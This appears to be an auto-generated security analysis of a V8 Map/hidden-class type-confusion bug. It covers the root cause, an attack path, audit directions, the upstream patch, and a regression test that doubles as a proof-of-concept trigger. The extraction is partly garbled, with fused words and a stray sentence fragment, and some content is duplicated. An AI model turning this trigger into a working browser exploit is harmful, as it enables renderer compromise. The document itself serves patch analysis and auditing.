CVE-2026-102323
Overview
Background
- V8 `Map` / hidden class
- the object describing a JS object’s shape (layout and property types); objects sharing a shape share a
Map, and adding a property follows or creates a transition to a newMap. - `Map::GetBackPointer()`
- the reverse edge of a transition, pointing from a target
Mapback to theMapit transitioned from; a valid property-store transition requires the target’s back pointer to equal the receiver’s currentMap. - Strict vs. sloppy function maps / `strict_function_transition_symbol`
- when
V8_FUNCTION_ARGUMENTS_CALLER_ARE_OWN_PROPSis disabled, strict and sloppy function maps have identical own descriptors, andMap::AsLanguageModemay link the strict initial map to the sloppy one via a special transition keyed bystrict_function_transition_symbol. - `LookupIterator::IsCacheableTransition`
- decides whether a store’s transition may be cached in an inline cache, historically accepting any transition whose target
Maphas aMapback pointer.
Root Cause Analysis
With V8_FUNCTION_ARGUMENTS_CALLER_ARE_OWN_PROPS disabled, strict and sloppy function maps carry identical own descriptors, so Map::EquivalentToForTransition treats them as interchangeable. When Map::AsLanguageMode connected a strict function’s initial map back to the sloppy initial map through the strict_function_transition_symbol special transition, MapUpdater could walk across that special transition onto the sloppy root map without replaying the strict transition, and return a target Map from the sloppy branch whose GetBackPointer() did not match the receiver’s Map. LookupIterator::IsCacheableTransition then accepted and cached this transition merely because the target had a Map back pointer, without verifying that back pointer equaled the store target’s actual Map, so a store could be applied against an object whose real shape differs from the cached transition’s source — a Map/shape confusion.
The fix makes Map::AsLanguageMode return initial_map directly when the feature is disabled (never creating the cross-branch special transition), and adds a CHECK_EQ(back_pointer, GetStoreTarget<JSReceiver>()->map()) in IsCacheableTransition so any transition whose back pointer does not match the receiver map is rejected rather than cached.
Map having a Map back pointer, without confirming that back pointer actually matched the receiver’s current Map, which — combined with the strict/sloppy cross-branch special transition — allowed a transition from an unrelated shape to be applied to the object; the fix removes the bogus transition and adds an SBXCHECK-style equality check tying the transition to the receiver’s real map.Attack Path
- Reach the feature-disabled configuration
On a build/configuration where
V8_FUNCTION_ARGUMENTS_CALLER_ARE_OWN_PROPSis disabled, strict and sloppy function maps become descriptor-equivalent. (inferred that the shipped configuration disables the flag.) - Build the cross-branch transition
Using
Reflect.construct(Function, ...)with a customNewTarget(as in the PoC’smakeFn), create strict function objects whose initial map, viaMap::AsLanguageMode, is linked to the sloppy initial map throughstrict_function_transition_symbol. - Prime a cached store transition
Add a property (e.g.
y) through a subclass (class DefineY extends Base) soMapUpdaterwalks across the special transition andIsCacheableTransitioncaches a transition whose target’s back pointer does not match the store target’s map. - Apply the confused store to a victim
Store into a victim object (
victim.x = 13.37) via the cached transition, applying a transition derived from a mismatched shape and producing aMap/type confusion between differently-shaped objects. (The concrete exploitation primitive beyond the shape confusion is inferred; the patch demonstrates the mismatched back pointer, not a specific OOB read/write.)
Impact Assessment
Map/hidden-class confusion by caching and applying a property-store transition whose source shape does not match the receiver, the class the advisory reports as type confusion in V8. Exploitation is confined to the renderer process and requires the specific strict/sloppy function-map construction shown in the PoC; escalation to a read/write primitive or code execution is (inferred) and not demonstrated by the diff, which instead converts the mismatch into a safe CHECK/SBXCHECK abort. No exploited-in-the-wild status is stated in the advisory.Changed Functions
| Function | Change | Notes |
|---|---|---|
Basetest/mjsunit/regress/regress-559266114.js |
modified | |
constructortest/mjsunit/regress/regress-559266114.js |
modified | |
DefineYtest/mjsunit/regress/regress-559266114.js |
modified |
Files Changed
src/objects/map.ccsrc/objects/lookup-inl.htest/mjsunit/es6/classes-subclass-builtins.jstest/mjsunit/regress/regress-559266114.js
Audit Directions
- Back-pointer / receiver-map agreementAudit all transition-caching and
MapUpdaterwalk paths to ensure a targetMapis only used when itsGetBackPointer()equals the receiver’s currentMap, rather than merely being aMap. - Descriptor-equivalence collapsing distinct mapsReview
Map::EquivalentToForTransitionconsumers where feature flags (e.g.V8_FUNCTION_ARGUMENTS_CALLER_ARE_OWN_PROPS) make semantically different maps descriptor-identical, since that can enable transitions to be reused across incompatible shape branches. - Special transitions keyed by symbolsExamine other
SPECIAL_TRANSITIONedges (e.g. viastrict_function_transition_symbol) thatMapUpdatermay traverse, checking that walking them cannot land on a root/branch that skips a required transition and yields a mismatched target map.
Patch
From a81b3eb9dec61f930956a02c183c8463cc89ea54 Mon Sep 17 00:00:00 2001
From: Igor Sheludko <ishell@chromium.org>
Date: Tue, 22 Sep 2026 15:08:23 +0200
Subject: [PATCH] [maps] Avoid strict function map transition when own props are disabled
When V8_FUNCTION_ARGUMENTS_CALLER_ARE_OWN_PROPS is disabled, strict and
sloppy function maps have identical own descriptors, making
Map::EquivalentToForTransition return true between them. If
Map::AsLanguageMode connects a strict function initial map to the sloppy
initial map via strict_function_transition_symbol, MapUpdater can walk
across this special transition onto the sloppy root map without
replaying the strict transition, returning a target map from the sloppy
branch whose GetBackPointer() does not match the receiver map.
Return initial_map directly in Map::AsLanguageMode when
V8_FUNCTION_ARGUMENTS_CALLER_ARE_OWN_PROPS is disabled, and add an
SBXCHECK_EQ in LookupIterator::IsCacheableTransition verifying that the
transition map's backpointer matches the store target's map.
TAG=agy
CONV=1a03ba8f-372d-4c1f-959d-485be0eb8a0a
Fixed: 559266114
Change-Id: I7a6ebd407a8bd30544c88a7b0b7ad37c4447f710
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/8440578
Reviewed-by: Toon Verwaest <verwaest@chromium.org>
Auto-Submit: Igor Sheludko <ishell@chromium.org>
Commit-Queue: Toon Verwaest <verwaest@chromium.org>
Cr-Commit-Position: refs/heads/main@{#110024}
---
diff --git a/src/objects/lookup-inl.h b/src/objects/lookup-inl.h
index 676fefa..c341366 100644
--- a/src/objects/lookup-inl.h
+++ b/src/objects/lookup-inl.h
@@ -317,10 +317,17 @@
bool LookupIterator::IsCacheableTransition() {
DCHECK_EQ(TRANSITION, state_);
- return IsPropertyCell(*transition_) ||
- (transition_map()->is_dictionary_map() &&
- !GetStoreTarget<JSReceiver>()->HasFastProperties()) ||
- IsMap(transition_map()->GetBackPointer());
+ if (IsPropertyCell(*transition_) ||
+ (transition_map()->is_dictionary_map() &&
+ !GetStoreTarget<JSReceiver>()->HasFastProperties())) {
+ return true;
+ }
+ Tagged<Object> back_pointer = transition_map()->GetBackPointer();
+ if (IsMap(back_pointer)) {
+ CHECK_EQ(back_pointer, GetStoreTarget<JSReceiver>()->map());
+ return true;
+ }
+ return false;
}
// static
diff --git a/src/objects/map.cc b/src/objects/map.cc
index decfb6f..0e5294c 100644
--- a/src/objects/map.cc
+++ b/src/objects/map.cc
@@ -1858,6 +1858,9 @@
Isolate* isolate, DirectHandle<Map> initial_map,
DirectHandle<SharedFunctionInfo> shared_info) {
DCHECK(InstanceTypeChecker::IsJSFunction(initial_map->instance_type()));
+#ifndef V8_FUNCTION_ARGUMENTS_CALLER_ARE_OWN_PROPS
+ return initial_map;
+#else
// Initial map for sloppy mode function is stored in the function
// constructor. Initial maps for strict mode are cached as special transitions
// using |strict_function_transition_symbol| as a key.
@@ -1893,6 +1896,7 @@
SPECIAL_TRANSITION);
}
return map;
+#endif // !V8_FUNCTION_ARGUMENTS_CALLER_ARE_OWN_PROPS
}
Handle<Map> Map::CopyForElementsTransition(Isolate* isolate,
diff --git a/test/mjsunit/es6/classes-subclass-builtins.js b/test/mjsunit/es6/classes-subclass-builtins.js
index c6a6fda..aa5caae 100644
--- a/test/mjsunit/es6/classes-subclass-builtins.js
+++ b/test/mjsunit/es6/classes-subclass-builtins.js
@@ -118,9 +118,13 @@
var sloppy_func1 = new A("return 312;");
assertTrue(%HaveSameMap(sloppy_func, sloppy_func1));
- // Strict function
+ // Strict function.
+ // When V8_FUNCTION_ARGUMENTS_CALLER_ARE_OWN_PROPS is disabled, strict and
+ // sloppy functions have the same descriptors and share the derived initial
+ // map.
var strict_func = new A("'use strict'; " + source);
- assertFalse(%HaveSameMap(strict_func, sloppy_func));
+ assertEquals(!sloppy_func.hasOwnProperty("arguments"),
+ %HaveSameMap(strict_func, sloppy_func));
CheckFunction(strict_func, false);
var strict_func1 = new A("'use strict'; return 312;");
@@ -627,9 +631,12 @@
var sloppy_func1 = new A("yield 312;");
assertTrue(%HaveSameMap(sloppy_func, sloppy_func1));
- // Strict generator function
+ // Strict generator function.
+ // When V8_FUNCTION_ARGUMENTS_CALLER_ARE_OWN_PROPS is disabled, strict and
+ // sloppy functions share the derived initial map.
var strict_func = new A("'use strict'; " + source);
- assertFalse(%HaveSameMap(strict_func, sloppy_func));
+ assertEquals(!sloppy_func.hasOwnProperty("arguments"),
+ %HaveSameMap(strict_func, sloppy_func));
CheckFunction(strict_func, false);
var strict_func1 = new A("'use strict'; yield 312;");
diff --git a/test/mjsunit/regress/regress-559266114.js b/test/mjsunit/regress/regress-559266114.js
new file mode 100644
index 0000000..6896a59
--- /dev/null
+++ b/test/mjsunit/regress/regress-559266114.js
@@ -0,0 +1,31 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+function NewTarget() {}
+NewTarget.prototype = new Proxy({}, {});
+
+function makeFn(body, x, y) {
+ const fn = Reflect.construct(Function, [body], NewTarget);
+ fn.x = x;
+ if (y) fn.y = y;
+ return fn;
+}
+
+class Base {
+ constructor(o) { return o; }
+}
+
+class DefineY extends Base {
+ y = 1.1;
+}
+
+for (let i = 0; i < 15; i++) new DefineY({});
+
+let strictWithY = makeFn('"use strict"', 42, 42);
+let strictWithX = makeFn('"use strict"', 42);
+let sloppyWithY = makeFn('', 2.3, 2.3);
+let cachedTransition = new DefineY(makeFn('"use strict"', 42));
+let victim = new DefineY(makeFn('"use strict"', 42));
+victim.x = 13.37;
+assertEquals(13.37, victim.x);
Regression Test / PoC
diff --git a/test/mjsunit/es6/classes-subclass-builtins.js b/test/mjsunit/es6/classes-subclass-builtins.js
index c6a6fda..aa5caae 100644
--- a/test/mjsunit/es6/classes-subclass-builtins.js
+++ b/test/mjsunit/es6/classes-subclass-builtins.js
@@ -118,9 +118,13 @@
var sloppy_func1 = new A("return 312;");
assertTrue(%HaveSameMap(sloppy_func, sloppy_func1));
- // Strict function
+ // Strict function.
+ // When V8_FUNCTION_ARGUMENTS_CALLER_ARE_OWN_PROPS is disabled, strict and
+ // sloppy functions have the same descriptors and share the derived initial
+ // map.
var strict_func = new A("'use strict'; " + source);
- assertFalse(%HaveSameMap(strict_func, sloppy_func));
+ assertEquals(!sloppy_func.hasOwnProperty("arguments"),
+ %HaveSameMap(strict_func, sloppy_func));
CheckFunction(strict_func, false);
var strict_func1 = new A("'use strict'; return 312;");
@@ -627,9 +631,12 @@
var sloppy_func1 = new A("yield 312;");
assertTrue(%HaveSameMap(sloppy_func, sloppy_func1));
- // Strict generator function
+ // Strict generator function.
+ // When V8_FUNCTION_ARGUMENTS_CALLER_ARE_OWN_PROPS is disabled, strict and
+ // sloppy functions share the derived initial map.
var strict_func = new A("'use strict'; " + source);
- assertFalse(%HaveSameMap(strict_func, sloppy_func));
+ assertEquals(!sloppy_func.hasOwnProperty("arguments"),
+ %HaveSameMap(strict_func, sloppy_func));
CheckFunction(strict_func, false);
var strict_func1 = new A("'use strict'; yield 312;");
diff --git a/test/mjsunit/regress/regress-559266114.js b/test/mjsunit/regress/regress-559266114.js
new file mode 100644
index 0000000..6896a59
--- /dev/null
+++ b/test/mjsunit/regress/regress-559266114.js
@@ -0,0 +1,31 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+function NewTarget() {}
+NewTarget.prototype = new Proxy({}, {});
+
+function makeFn(body, x, y) {
+ const fn = Reflect.construct(Function, [body], NewTarget);
+ fn.x = x;
+ if (y) fn.y = y;
+ return fn;
+}
+
+class Base {
+ constructor(o) { return o; }
+}
+
+class DefineY extends Base {
+ y = 1.1;
+}
+
+for (let i = 0; i < 15; i++) new DefineY({});
+
+let strictWithY = makeFn('"use strict"', 42, 42);
+let strictWithX = makeFn('"use strict"', 42);
+let sloppyWithY = makeFn('', 2.3, 2.3);
+let cachedTransition = new DefineY(makeFn('"use strict"', 42));
+let victim = new DefineY(makeFn('"use strict"', 42));
+victim.x = 13.37;
+assertEquals(13.37, victim.x);